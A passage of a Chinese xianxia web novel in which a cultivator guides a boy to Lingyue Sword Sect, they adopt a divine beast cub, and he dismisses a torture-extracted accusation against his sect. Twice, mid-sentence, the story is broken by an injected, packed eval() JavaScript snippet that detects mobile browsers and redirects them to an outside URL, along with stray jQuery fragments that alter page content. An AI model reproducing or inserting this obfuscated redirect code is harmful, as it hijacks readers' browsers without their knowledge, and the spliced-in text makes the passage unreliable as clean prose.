应听声点了点头。 清休澜蓦然笑了起来,应听声认识他以来从未见过他笑得这么温柔,直觉不对,就听清休澜柔和地对他说。 “你想尝尝被空间撕裂,脑浆流一地的感觉么。乖,那不需要借助传送阵的,我现在就可以帮你实现。小草包。” 应听声:“……” 10. 声音 应听声只是没有环境学习,并不代表他的智力有问题,听清休澜这样一说,他略一思考便得出了结论。 清休澜当然可以直接用传送阵传送到凌月剑宗附近,但这样会让应听声变成一滩不会说话的血泥,而清休澜又有不得不带上自己的理由。因此,清休澜只能选择一个对应听声而言比较安全,速度也不慢的方式。 “是刚刚习公子说的‘灵影舟’?它很特别么。”应听声简直把清休澜当成了行走的百科全书,觉得清休澜什么都知道,一有问题便问。如清休澜之前所说一般,他在“重新认识这个世界”。 清休澜并不讨厌应听声过多的问题,因为他问的这些,没有人解答的话,他确实无法得知。讲真,清休澜真的觉得比起回答天机宗某些弟子问出的那些能在书中找到答案,或是显而易见的白痴问题,他更愿意花时间解答应听声的困惑。 提问是探寻真理的关键。当然,前提是提出的问题值得解答。 于是,他回答道:“是的。影灵舟以灵石中蕴含的灵力驱动,一日可行千里,平稳且快,载人也载货,是除了‘传送阵’和‘飞舟’之外速度最快的载具。” 说完,清休澜想起了什么,手腕一转,从乾坤戒中取出了之前买给应听声的书,递给他,道:“选一本先看着吧,剩下的我帮你收着。天机宗可不养小草包。” 应听声很久之前,大概七八年前吧,是在落花村那间小小的书堂中读过书的,只是后来……应听声摇了摇头,不再去想这段能够轻易调动他的情绪的过往,依照模糊的记忆从清休澜那一排书中抽出一本似有印象的《千字文》来,收到了怀中。 清休澜看了一眼,然后将剩下的书收了起来,道:“对你这样没有基础的学童,天机宗不会过于严格,但我的要求比较高。首先,没有时间限制,你有任何疑问都可以问我,任何时间,任何地点。等你觉得你已经将这本书中的内容完全吃透了,就来找我‘考核’。考什么,怎么考,都由我说了算。是否能从我这摆脱掉‘小草包’这个称号,就看你自己的本事了。” “你可以暂时忘记我之前说的‘天命’一类,那些现在还过于遥远。”清休澜点了点应听声手中那本书,道:“你现在的任务,只有它。如果你是个有天赋肯努力的学生,我很乐意倾囊相授。等你足够强大,你就可以去做任何你想做的事。” 清休澜没有设下阻音阵,只是俯下身凑到应听声耳边,说道:“比如,为你死去的父母报仇。或者,杀了我这个强行将你拉至另一道命运轨迹的‘怪人’,当然,如果你真的做得到的话,我会从现在开始,期待那一天来临。” 应听声像是陷入了什么幻境一样,怔怔看着前方重复道:“……报仇?”随后,他停顿了几息,接着轻轻说道:“可我连我的仇人是谁都不知道。” “我可以帮你调查,轻而易举。”清休澜走到应听声身后,两只手一起放在他的肩膀上,说道:“但是,你得向我证明,你值得我这样做。清醒些吧,在破旧村落摸爬滚打抢食物的日子已经离你远去了,你得开始适应你的新生活。” “你现在呢,就像逆水行舟。不进,则……”清休澜的食指慢慢划过应听声的脖颈,没有用力,也没有留下任何一丝痕迹,可应听声就是感到一阵比不久前淋过的那一场雨还要刺骨百倍的寒意,随后,他听到了清休澜落下的最后一个字。 “……死。” “天机宗不留废物,你会被送回落花村。但在见过更广阔的天地之后,你将无法再忍受狭窄的牢笼,抬头看着一望无际的天空,随后身体被困死在小小村落中孤独老去,是比死亡更加可怕的惩罚。这是给你的机会,也是对你的考验。” —— 应听声从未如此喜欢学习过,简直睡觉的时候都想把灵魂拽出来看书——反正会感到疲累的只有这具躯体。 如今,应听声、清休澜,皮尔卡娅三人正坐在一辆前往浮云山的马车上。应听声掀起了车帘借着日光看书,清休澜正散漫地半靠在前面享受阳光,手里还拉着缰绳。至于皮尔卡娅,则被装进了“栖灵瓶”中,毕竟总不能让她一直飘在后面跟着。 一般而言,栖灵瓶是修士们用来暂时封存游荡在外的灵魂的容器。但再一般而言,大部分修士出门在外都不会特意准备个栖灵瓶带在身上,见鬼——遇到飘荡的灵魂后,心善些的会吟经超度,戾气重些的会直接打散将其送去阴阳司轮回,绝大多数修士人会选择无视,不给自己找麻烦。基于此,栖灵瓶就略显鸡肋——素不相识,给人魂装瓶里是想绑架吗。 清休澜和凉倾自然也没带,不知两位姑娘怎么商量的,总之最后,只有皮尔卡娅独自一人从房间里出来了,将手中已经平静下来的水镜还给了清休澜,然后一言不发地跟在了清休澜身后。 无奈,清休澜只能去附近给她找个暂时栖身的载体,好在他运气不错,城镇中刚好有人在卖栖灵瓶,避免了清休澜将什么奇怪物品带在身上的惨剧。 日头正好,浮云山里这不远,也就两个半时辰的路程,估计到浮云山脚下时刚好能够赶上晚饭时间。 清休澜半睁开眼偏了偏头,从客栈出来之后,应听声就像打通了什么经脉,或者中了什么咒一样,再没把手中的书放下过。也不知道是在装样子,还是真的将文字都吃了进去,清休澜不着边际地想道。他那一番话一半认真,一半恐吓,刻意省去了“回到落花村后将衣食无忧”这一结局,如果应听声真是个没什么志气,只想浑浑噩噩,安稳度过余生的草包,在得知衣食无忧后估计再不会有什么上进心,只想等天机宗给他一笔不菲的费用让他卷铺盖滚蛋了。 马车慢悠悠地在小道上前进着,一路上零零散散地遇到了几群人和几家茶肆,大多是些结伴的年轻人,有说有笑的聚在一起,各自抱团。也有单独行动的,不与任何人交流,甚至不愿意拼桌,来如影去如风,转瞬就不见了踪迹。 像清休澜这样带着个小孩的是少之又少。路上停下短暂休息时,有不少年轻的女修士都对应听声表达了喜爱,莫约是把清休澜当作了哥哥一类的长辈,得知他们二人也是要去浮云山时,开口问要不要结个伴一起走,被清休澜以“小孩怕生”的理由委婉回绝了。 清休澜一路赏光赏景,伴着微风和“哗哗”作响的树林声浅眠。待马车摇摇晃晃到达浮云山脚下的浮云镇时,太阳已然西斜。 比预料的时间晚些,不过前往灵崖山的影灵舟明天才启程,也就无所谓了。清休澜刚停下马车敲了敲车轸,就见车幔猛地被掀开来,应听声跌跌撞撞地从马车上跳了下来,跑到一旁的树丛中吐去了。 清休澜无奈地挥手收起了车舆内已经翻了小半本的书,以及已经见底了的茶壶和空空如也的点心盒,微微提高声音对应听声道:“我早说过在颠簸的马车里看书不是什么好选择,影灵舟比马车更加平稳,到时候有的是时间看——你还吃晚饭吗。” 应听声用清休澜递过来的手帕擦了擦嘴,然后无力地摇了摇头,就要伸手去拿清休澜手中的书本。清休澜将手往上一抬,轻松躲开了,挑眉道:“省省吧。我是严格,不是变态。‘让已经奄奄一息的学生坚持完成每日课业’这种事我可干不出来。” 说完,清休澜伸手将应听声转了个面,示意他抬头,接着说道:“你面前这座高耸入云的山峰,就是‘浮云山’,想和那位习公子一样去探索一下‘神兽传说’么?就当是课外考察。” 虽说表面上看清休澜是在询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105629|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问应听声的意见,实则他早就做好了决定,就算应听声说“不想去”也没用,最多是把他安置在客栈,自己前去。于是应听声有气无力地点了点头。 清休澜一打响指就要开传送阵,伸手将一瓶丹药抛给了应听声,随后自己先走了进去,留下一句快要消散在空中的模糊传音:“传送阵开在山脚,离这不远,不会有事。吃了再跟来,不然有你吐的。” 应听声伸手接住了巴掌大的白色瓷瓶,拔出木塞倒出两颗乌黑的药丸吞了下去,随后感到身体中郁结不散的燥气逐渐被一股清凉的灵力驱散,从上往下游走过全身每一寸筋脉,宛如被一整个夏日清晨叶片上的水珠冲刷过一般,身体变得轻松。 传送阵并没有像之前一样在清休澜走进去后就消失,而是依旧在原地发着光,像是在等待着什么一样。从外往里看,透过一圈圈旋转的光圈,隐约能够看到一片深绿色的树林。 应听声深吸了一口气,落日余晖微烫的空气充盈在身体中。他盖上小瓷瓶的木塞,走进了面前闪着淡金色光芒的传送阵中。与以往不同,应听声在穿过传送阵时并没有感到任何一点不适,简直就像只是简单地穿过一道门一样轻松。或许这就是清休澜每次穿过传送阵的感觉?那就是根本没有感觉。应听声胡乱想着,轻飘飘落地,走到了等在不远处的清休澜身边。 清休澜抬头看向面前的高山,碎金色光芒穿过树叶照亮了他的面容,就如同点缀了飘金的名贵白瓷一样。应听声的目光跟着他向上望去,入目便是葱郁的山林,层层叠叠将整座山遮掩,顺着再往上,莫约山腰处,缥缈虚无的白雾将浮云山笼罩其中,山顶高不可见。 “走吧,去看看那所谓的‘桃树’是否真的存在。”清休澜回头看了一眼应听声,然后便将目光收回至前方,提步朝可能是“入口”的一处缺口走去,道:“上山路只有一条,我想那位习公子作为‘普通人’,应当不会另辟蹊径,从别处上山吧。” 应听声快走了两步追上了清休澜,刚想开口问些什么,却突然反应过来。如果按照“正常人”的上山路线往上走却并没有遇见什么桃树的话,那不就证明习公子和他们走的并不是同一条路了吗。在客栈初见习公子时,他衣裳整洁且完好,手指关节没有擦伤,白玉无瑕,不像是走过“非寻常路”——比如窜进树林或者草丛。 “很高兴见到你终于具备初步独立思考的能力。”清休澜走在前面,就算应听声没有发问,却依旧猜到了应听声原本想说的话。 “……前辈,有个问题我想问很久了——您的言灵术包括读心么?”应听声微微仰头看向清休澜,问道。 “想什么呢。当然不包括。”清休澜微微一偏头就对上了应听声的视线,抱着手懒洋洋地答道:“虽然不会读心,但你这样的小少年想说的话实在太好猜,简直全部写在了脸上,我略低头一看,便知道了。” “可您刚刚也没看我啊……” “嘘,听。” 闻言,应听声也不再纠结这事,转回头竖起耳朵专心听了起来。 周围只有风吹树叶的声音,太阳的光芒尚未离开这片土地,但长势喜人的不知名树长得太高,都争先恐后,贪婪地想独占每一丝阳光,能够落在地上的阳光微乎其微。清休澜不再说话后,周围变得更加安静,不知是不是心理作用,应听声真的听到有什么人,或是什么动物穿过树丛时的“沙沙”声,配上略昏暗的道路,使他内心的不安在逐渐扩大。 “前、前辈,这是什么声音?”应听声像怕身后有什么鬼怪一样快步追上了清休澜,差点撞上那洁白柔软的大氅。 只是随口一说让应听声别再追问实则什么声音也没听见的清休澜:“?” “有声音?” 11. 神兽 “这种时候就别拿我当饵了前辈!这招用一次还不够吗。”应听声以为清休澜又像在客栈借自己引出皮尔卡娅一样,想用同一招引出在暗处的不知名人,一边紧张地左右观察周围一边牢牢抓着清休澜的大氅,有些崩溃地说道。 清休澜停下了脚步挑了挑眉,他是真的没听到有什么声音,但还是问了一句:“哪个方向?” 应听声像是能看到什么清休澜看不到的蚊虫一般视线在几个不同的方向左右来回,答道:“……我不知道,这边?或者这边?我不知道,它在乱窜,好像离我们越来越近了……” 直到应听声话音落下,清休澜这才也模糊地听到了一丝应听声口中的“声音”。他沉下眸,站在原地未动,静静等待这位“不速之客”自投罗网。 突然,“唰”地一声,面前的草丛中窜出了一团不明物种,朝着两人扑来,几乎同一时间,一道淡金色的结界骤然形成,还没等应听声反应过来,就听见“嘭”地一声,那不明物种撞上了结界,结结实实,就像砸在透明琉璃上的鸡蛋一样,缓缓地从结界上滑了下去。 “哦?‘神兽传说’居然不是骗小孩的睡前故事。”结界消散,清休澜朝地上那滩毛茸茸的圆球一颔首,示意应听声没有危险,可以去近距离看看。 “什么意思……这是,神兽?”得到准许之后,应听声才往前走了两步,然后在那团神兽旁蹲了下来,小心翼翼地戳了戳神兽软绵绵的前肢,道:“好像一只……巨大的狐狸?” 神兽团子显然撞得不轻,吐出了半截粉嫩的舌头,脑袋软软垂着。这只团子比应听声还大一圈,甚至将他整个人驮在背上。它浑身雪白,毛发间夹杂着几丝浅粉色绒毛。两只毛绒耳朵间飘着一颗和它眼睛一样大的白色圆珠,背后长着两枝枯枝一般的翅膀,浅褐色,上面没有树叶,摸起来软软的。 狐狸自然不会长翅膀,也不会在耳朵间顶颗珠子。 “它是乘黄,一只实打实的神兽幼崽——别探了,活着呢。一只神兽要是撞上个结界就撞死了,那也太侮辱神兽了。”清休澜道。 应听声将手从这只乘黄幼崽的黑色鼻尖前移开,随后抱着它转过身请求道:“幼崽?那它的父母呢?” “或许。”清休澜思考了两秒,答道:“我从未见过成群或结伴的乘黄,它们从来都是单独出现。” “……好可怜,我们可以养它吗?” “可怜?你是不是对神兽有误解。”清休澜笑了一声,没同意也没拒绝,与应听声商量道:“我的精力最多照顾一个幼崽。如果你觉得你能对它负责的话,可以,我出钱。它的生死,穿暖,全都由你负责,我不会插手。但它是吃鲜美的鱼还是干瘪的馒头,是睡丝绸与软枕,还是生虫的干草堆,就要看你的表现了——相信你不会让我失望?” 应听声低着头搓了搓手指,手中似乎还留有纸张的触感。为一条鲜活的生命负责,这是一个重大决定。毕竟吃鲜鱼睡软枕算活着,吃馒头睡草块也算活着,区别只在于这小……大团子是否会后悔在这个晴好的下午坚定地向他们扑来。 他在原地沉默了好一会,直到地上那只团子都缓了过来,站起身在他的脸上舔了舔。感受到脸颊传来的温热且湿润的触感,应听声才像下定了什么决心一般,抬头对清休澜说道:“我会对它负责,我不会让您失望。” 清休澜垂眸看着他,两息后,才答道:“好。” 说完,那乘黄幼崽像是知道自己有伙伴了一样兴奋地飞了起来,在空中绕着二人旋转着。 清休澜眼神一动,若有所思,将团子唤了下来,然后让应听声爬上去看看。 应听声:“?” 乘黄幼崽:“?” 一人一兽显然都不愿意,但清休澜才不管这些,右手一挥,就将应听声整个人拎到了乘黄背上,说道:“飞一个看看,小家伙。” 乘黄虽然不情愿,却意外地很听清休澜的话,乖乖的飞到了空中,灵巧地载着应听声转了几个圈,看上去很是轻松,就像背上的应听声如天空中的云朵一般轻一样。 清休澜一打响指,传送阵的光芒立刻在他的脚下亮起,将还在空中的一人一兽打了个措手不及。 “前、前辈?!” “你们飞过来,我先走一步。” “飞?等等、我是说,前辈!我不知道凌月剑宗怎么走啊——” 清休澜已经踏入了传送阵,闻言伸出右手,曾经伴应听声入眠,又被大火烧毁的那盏琉璃灯完好无损地再次出现,朝着空中的应听声飘了过去,紧接着,清休澜便消失在原地,只落下一句尚未消散的话语:“灯盏会带领你们。” 应听声:“?!” 清休澜说走就走,只留下乘黄和应听声面面相觑,两个完全不同的种族在对方脸上看到了相同的绝望。 —— “唔——咳咳!”应听声被高空中急促的气流呛到,眼泪都快咳出来了,短促道:“慢一点儿——我会死!我真的会死!” 乘黄鸣叫了一声,似乎不满应听声质疑自己的飞行能力。 “我可没长翅膀呀,咳!我有点想念地面上的空气了……”应听声欲哭无泪,不明白原本的“影灵舟之旅”怎么会突然变成“空中环游”,一边抓稳乘黄一边还要看着飞在前方不远处的琉璃灯盏:“右边!告诉我你不夜盲,拜托……” 乘黄猛地往右一偏,在空中转了半圈后再次跟上了那盏琉璃灯。天色渐暗,琉璃灯稳稳地散发着令人安心的光芒。要是有人抬头朝天上望去,就能看到一颗低低的流星划过。 灯盏带着空中的一人一兽穿过了一条宽大的河流,沿着河流往上游去,一座巍峨的宗门逐渐显露出它的轮廓,隐约能够看到挂在房檐上的灯笼,星星点点连成线,可与天上的星辰媲美。 “在那儿!我们到了。” 乘黄顺着灯盏往下飞去,可不知是因为它还只是只幼崽,仍需练习稳稳地从高空中降落,还是因为半个时辰的高空飞行耗尽了它的体力,又或者只是单纯忘记了自己背上还挂着个脆弱的人类,所以没掌握好平衡,乘黄朝下飞时有多迅速,磕磕绊绊降落在地面上时就有多狼狈。 简直像风消失后骤然坠落的风筝一般,好歹这只神兽幼崽在即将连着地时扇动了一下翅膀缓冲,悬之又悬没将应听声甩出去。 但也没好到哪儿去,应听声被乘黄降落时激起的尘土扑了满脸,吃了一嘴沙子,一边拍着衣袖一边无奈地对它说道:“我想你需要的是,降落练习。” 乘黄一抖毛发,身上的碎石沙土便被抖落一地,它用毛茸茸的脑袋一拱应听声,似是不满。 应听声被它撞了个踉跄,往前走了两步稳住身形,却也没有生气,伸手将它头上落的一片枯叶摘了下来,说道:“这样降落可有损‘神兽’的气势啊。你不觉得吗。” 乘黄歪着头想了想,随后幅度很大的点了点头,同意了应听声的想法,朝他走去。但那幼崽没走两步就像看到什么可怕的东西一样炸了毛,“嘭”地一声将自己缩小了五六倍,变成了只正常大小的狐狸,然后脚一蹬,窜进了应听声的怀中。 别看这小兽个头是小了,可重量依旧很可观,应听声伸手将它接了个满怀,身体不自觉被扑得退了一步,然后就撞上了一具温热的身体,那人惊呼了一声,伸手扶住了应听声的肩膀。 应听声一惊,抱着怀中的‘狐狸’崽迅速转身,急退两步,这才抬眸去看来人。 那人莫约十八九岁,身着海浪花纹的碧蓝色劲装,半长的头发高高束成了个马尾,腰间挂着一柄银色的长剑,手中还提着一盏发着光的灯笼。见应听声眼中警惕,便挥了挥右手示意自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105630|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己没有恶意,还往后退了两步,给出一个安全距离。 应听声不认识此人,却识得那人剑穗上的云浪珠,他记得清休澜曾说过那是凌月剑宗内门弟子独有的。于是他眼中的提防稍弱,却依旧站在原地,开口问道:“你是,凌月剑宗的……” 那人笑了笑,主动介绍道:“小友好啊,在下云青,凌月剑宗柯长老座下弟子。清前辈正和师尊在大殿等待小友,特意命我下山接客。” 话都说到这个份上了,应听声自觉身上也没什么值得觊觎的,而且真想对自己不利的话一掌拍晕自己带走不就好了,反正他毫无还手之力,实在没必要客客气气的。于是应听声便应了一声“好”,然后摸了摸怀中小兽的头,跟着云青向山上走去。 半路,应听声开口问走在自己前两步的云青:“云前辈,您能给我介绍一下凌月剑宗么?” 云青回过头,等应听声跟上之后才摆了摆手,道:“叫师兄就好,我还没到能当前辈的地步呢。你想知道什么?” 应听声笑了笑,然后摇了摇头,道:“您随便说说就好,我就随便听听。” 云青“啊”了一声,也不知道清休澜怎么说的,就见他弯了弯眼睛,答道:“你是第一次下山吧?怎么样,外面的世界是不是很新奇。在外游历很有意思,但不管走多远,我还是最喜欢回到凌月剑宗那一刻。虽然凌月剑宗在外有个‘顶尖三大宗门之首’的称呼,听起来就冷冰冰的,不近人情,但对我而言,这里有像家一样的温暖。” “像家一样?”应听声抬眸,眼中似有怀念,轻声问道。 云青点了点头,道:“凌月剑宗一共有八位长老,也就是八座长老峰,但每一峰与另一峰之间都用云索连接了起来。长老们大多都有徒弟,年龄相仿,也能玩到一起去。每日结课,大家就会一起去膳房用膳——你一定要尝尝,大多数时候都很好吃。” “大多数时候?也有不好吃的时候么。”应听声跟着云青笑了起来,琉璃灯盏静静飘在他的右手边,就像一个无声的守卫。 云青笑着点了点头,道:“那得看当天厨子的心情了。每次试菜——我是说,尝试新事物时,师兄总会端着菜朝我抱怨,‘怎么能把两个八竿子打不着的东西炒在一起呢,这实在太挑战我的味蕾了,令我的胃萎缩’。” 他最后一句特意改变了声线,像在模仿谁一样说着,说完自己也笑了起来。 “原来你有个师兄!有人一起生活是不是很棒,我一直想要拥有一个弟弟或妹妹呢,生活会变得……更有意思一些。”应听声眼眸一闪,笑道。 “是啊,当然。很有意思。”说到这,云青却明显地低落了下来,眼中难掩担心。 “你还好吗,抱歉,我说错什么了?”应听声偏过头,歉道。 “不不,不是你的错。”云青朝他摇了摇头,然后轻轻叹出一口气,道:“只是我的师兄已经下山有一段时间了,却一直没有和我们联系,我有些担心罢了。瞧,我们到了,快进去吧。” 应听声回过头,才发现自己已经站在了一座雄伟壮观的大殿前。这座大殿整体呈银蓝色,门前的两座瑞兽石雕却金光闪闪,仿佛是用纯金打造的一般,与整个大殿格格不入。 他转过头看向云青,云青似乎也觉得这两座雕像有些不和谐,却也只是无奈地叹了口气,没有多解释的意思。 云青站在原地,并没有跟上应听声,于是走在前面的应听声有些奇怪地回头问道:“您不和我一起进去吗?” 闻言云青笑了一下,一眨右眼,答道:“我还要去练功,就不进去了。要是你要在凌月剑宗多留两日的话,可一定要来找我玩啊!” 应听声站得比云青高两阶,闻言没有多问,只是点了点头,在云青转身离开之后,自己也满满走进了那座一眼看不到顶的大殿当中。 12. 凌月 夜色降临,大殿中已经燃起了灯烛。 应听声走进大殿时,原本轻声的议论声顿止,所有人的目光都聚焦在了他的身上。同时被这么多双眼睛注视,让应听声觉得有些头皮发麻,浑身僵硬,就像被凝固在了一团金色的蜂蜜当中,动弹不得。 就在应听声不知所措的时候,一道茶杯与桌面的碰撞声从左前方传来,紧接着就是一道他十分熟悉,在此时宛若天降甘霖的声音从不远处唤他:“听声,过来。” 应听声就像突然得到赦令的僵尸一样,终于吐出了胸口处那团淤积的气,抬眸一看,果然对上了清休澜那双淡金色的眼眸。他狂跳不止的心终于安定下来,提步往清休澜的方向走去,直到现在,他才发觉自己的指尖在微微发麻,也不知道是不是被怀中这只小兽压的。 等他走到清休澜面前,才突然发现清休澜不知什么时候脱下了那件白狐大氅,换成了一件淡紫色的直?长衫,在外披了一层水青薄纱,浅浅落在地上。清休澜将那一头如瀑的乌黑长发散了开来,简单用一只琉璃长簪绾了绾,将一小部分长发固定在脑后,其余大部分发丝都散落在四周,发尾落在了椅子上,微微弯曲。 清休澜坐在距离主位最近的位置,那张摆放了点心和清茶的小几旁额外放了一张椅子,似乎是留给他的。那张椅子与清休澜的一模一样,只是在靠背处多了一个绣花软枕,以及一个脚垫。 原本缩在应听声怀中的乘黄听见了熟悉的声音,冒出个头来,看见清休澜时耳朵都竖了起来,从应听声怀中窜了出去,直直撞向清休澜,却又被清休澜伸出一根手指轻轻推开,只能悻悻回到应听声怀中,埋了埋圆脑袋,又不动了。 清休澜将应听声上下打量了一番,似乎在检查他有没有缺胳膊少腿,见他只是衣摆处沾了点尘土,其他都没少之后便用眼神示意他去旁边坐着,伸手将小几上的糕点往他那儿推了推,然后收回了视线。 应听声乖巧地踩着脚垫坐上了那张对他而言过大的椅子,来到清休澜身边后,大殿中的目光就像被无形的气场削弱了一般,不再那么咄咄逼人,让应听声自在不少。 这时,他感到衣摆处似乎被轻轻一拍一样动了动,低头一看,原本沾上了擦不净的尘土的衣摆已经重新变得干干净净,是谁做的,不言而喻。应听声轻轻嗅了嗅,空气中传来一股淡淡的玉兰花香,就像天然的安神香一般,应听声转头四处看了看,却并没有在大殿中看到花瓶或是香炉。 不过他的注意力很快就被一声轻咳吸引。一位正值不惑之年的男人站到了大殿的主位上,朝坐在右手边垂眸喝茶的清休澜问了声好,在清休澜抬起头时又摸着自己半长不短的胡子将低着头抚摸怀中小兽的应听声夸了一通,什么“根骨清奇”、“必有大用”、“有福相”等等赞美之词全一股脑塞到了应听声头上,把应听声夸得莫名其妙,一脸疑惑地抬头看了看男人,又偏过头朝清休澜问了句什么。 清休澜笑了一声,短促地说了几个字,虽然并未传出声音,但看口型,清休澜说的是“不必理会”四个字。男人的额角跳了跳,随后终于不再说些虚头巴脑的东西,厉声道:“此番邀清长老前来,是为了灵崖山起火一事。我宗与天机宗向来交好,自然也不愿相信贵宗会和这样的事扯上关系,奈何人证物证俱全,我们也是迫不得已。” “哦?‘人证物证俱全’?在哪儿呢,可否呈上来让我一观?”清休澜似笑非笑地放下了茶盏,虽然拿在手中半天,但茶盏中的茶却一点没少。 男人看了清休澜一眼,然后转头对着大殿正门喊道:“传许、韩二人——” 大门骤开,两个守在门外的弟子押进来两个浑身镣铐的男人。那两人面容蜡黄,身体消瘦,手腕脚腕上皆有深可见骨的勒痕,破破烂烂的衣服遮不住身体,露出的地方没几块好肉,全是鞭痕与刀痕,不同颜色的液体从皮肉上渗出,打湿了他们身上的衣服。 “清长老见谅,为了还贵宗一个清白,不得不用了一些非常规手段。可惜在经历多日问话后,二人还是坚定不移地指认了天机宗。”站在高台上的男人故作惋惜地说道。 连同两人一同被送入大殿的,还有两只完好无损的天机鸟。 男人朝端着托盘的弟子一挥手,弟子便低着头走到了清休澜身边,男人的声音接着在头顶响起:“清长老看看,这是否是贵宗的天机鸟?” 清休澜淡淡看着托盘上敛翅的鸟儿,没有伸手去拿的意思,只是往上一抬手指,托盘上那两只鸟儿便被一股风托了起来,轻巧地“飞”到了清休澜眼前。 在此间隙,男人的嘴也没闲着,闭上眼吟诗一般抑扬顿挫地说道:“谁人不知天机宗那‘不惧雨火,不畏刀剑’的天机鸟?这两人的话我原本是不信的,可他们二人居然拿出了‘天机鸟’!此鸟一出,当时在场的所有人都十分震惊……” “抱歉打断你,章长老。”清休澜挥手,将那只天机鸟放回了托盘中,略略抬眸看着高台上的人,说道:“我想沈灵应当还没粗心到这种地步——当年天机宗给修仙界各宗派发用以联系的天机鸟时,唯独遗漏了凌月剑宗么?天机鸟出自天机宗不假,但并非是‘天机宗独有’,仅凭两只并不罕见的鸟儿就给天机宗定罪,是否过于牵强了。” 章长老“呵呵”笑了两声,答道:“当然,当然。那么,听听‘证词’吧。” 跪在地上的两人没有开口的意思,但也不需要他们开口,托着另一个精致托盘的弟子缓缓上前,一枚淡蓝色的菱形水晶从托盘上飘起。章长老伸出手,一道灵力照射在水晶之上,一段影像出现在众人面前。 画面中,是一间昏暗的牢房。牢房内没有点燃烛火,唯一的光源就是头顶的一扇小小的窗户。 “再说一遍,你们为何会出现在灵崖山上?”说话的人手中拿着一道带着尖刺的长鞭,鞭上不断滴落着暗红色的血液。 其中一人在另一人的沉默中哑声开口:“我说过很多次了。我只是想借着灵崖山上的灵气修炼,仅此而已。山火是突然烧起来的,毫无征兆。” “放肆!”拿着长鞭那人斥道:“灵崖山归属于凌月剑宗,修仙界中无人不知。你们未经过准许便私自上山,到底是哪家的弟子?” 原本沉默的那人突然开口,颠三倒四地喊道:“灵崖山——灵崖山有我的大机缘!我算到……不,我感觉到的!我要去灵崖山,只有那里……只有灵崖山才对得上,不可能有别的地方……不会,不可能。” 紧接着那人就被连扇了几个巴掌,“还在说这些不着四六的胡话!什么机缘,我看你就是修炼修得走火入魔了罢!说,你身上的天机鸟从哪儿来的!” 那人嘴角流出血迹,脑袋垂着,却是低低笑了起来,如同厉鬼一般答道:“……天机鸟?天机鸟是天机宗……是我的。我的突破机缘就在这里,我很快……很快就能……” 留影戛然而止。 “啪、啪、啪。”清休澜慢慢地看完了这出好戏,鼓起了掌,道:“很精彩。但恕我直言,这样胡言乱语、逻辑不通的昏话,不足以作为指控天机宗放火烧山的‘证词’。” 章长老一摊手,做出了个洗耳恭听的姿势。 清休澜轻叹一声,往后一靠,倚在了长椅上,像是给天机宗那群灵智未开的猴子讲课一般放缓了声音,道:“第一,做事要讲动机。放火烧灵崖山,炸毁灵脉,这对天机宗来说,有什么好处?” 不等章长老回话,清休澜便接着说道: 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“第三。”清休澜漫不经心地端起了小几上已经冷透了的清茶,拿在手中缓缓摇着,道:“不管是现在我面前的两人,还是留影水晶中的两人,身上皆有受刑的痕迹。贵宗问话的手段我不敢苟同,但你可知有个词名为‘屈打成招’?屈打成招说出的话,可不能作为‘证词’。” “这……”章长老用袖子擦了擦额间渗出的薄汗,道:“可能有什么差错,有话好说嘛,我们肯定不会冤枉好人……” “不敢。但关乎凌月剑宗,仔细些也是应当的。只要章长老仍有‘证据’,那此事就仍有讨论的必要,否则……”清休澜抬眸,唇角带笑,眼中却是冷的。 章长老简直要把这辈子出的汗都擦完了,原本说好只是借着凌月剑宗宗门之首的势气压制,浑水摸鱼将天机宗派来的弟子压得无话可说,然后顺理成章将人留下。有这么个“活把柄”在手,天机宗就算是要顾全自己的名声,也得坐下与他们好好商量商量——掌握了主动权,那还不好操作一番么。 凌月剑宗唯独没料到天机宗派来的不是弟子,而是直接来了一位长老! 别的长老倒也还好说,偏偏是这位……虽然看着年轻,还与自己同为“长老”一职,但这位要是想当着大殿中数位长老的面自称一声“前辈”,却也是担得的。 几息过去,章长老依然默不作声地站在原地,清休澜略带遗憾地开口,道:“既然你没有其他物证,也没有人证,更不存在什么证词,那么你对天机宗放火烧山炸灵脉的怀疑与指控,又……从何而来呢。”尾音沉下,清休澜脸上的笑容也渐渐消失,如柳絮般细小的雪花不知何时从空中落下,遍布整个大殿。 正当气氛逐渐凝固时,一道声音骤然破门而入,搅乱了雪花落下的轨迹:“误会呀!都是误会!” 一位和章长老年龄相仿,整个人却更中气十足的男人推门而入,正是八长老之一的柯麒,他脸上带着笑意,进门后先给清休澜行了一礼,歉道:“清长老见笑了。被炸毁的这条灵脉对凌月剑宗而言尤为重要,因此宗门上下对其格外上心,但却万万没有要污蔑天机宗的意思呀!章长老也是想早日找出幕后黑手,有些心急,才闹出这么一个大误会——那些证据自然做不得数的!老章,还不给清长老赔礼道歉。” 虽然按照辈分和能力,清休澜都担得起这声道歉,但要给一个外表明显比自己年轻的人道歉,章长老却如何都拉不下这个脸面,涨红了脸,从鼻腔中重重“哼”了一声,转身离开了。 柯麒没在意离开的章长老,接着对清休澜道:“章长老此举并未告知宗主,是自己借凌月剑宗的名义给天机宗发的传讯,但他毕竟是凌月剑宗的长老。此事是凌月剑宗办得不妥,还请清长老给我们一个赔罪的机会,万万不要伤了我们两宗之间的和气呀。” “赔罪?”清休澜像是提起点兴趣,问道:“你们想怎么赔罪?” 13. 软禁 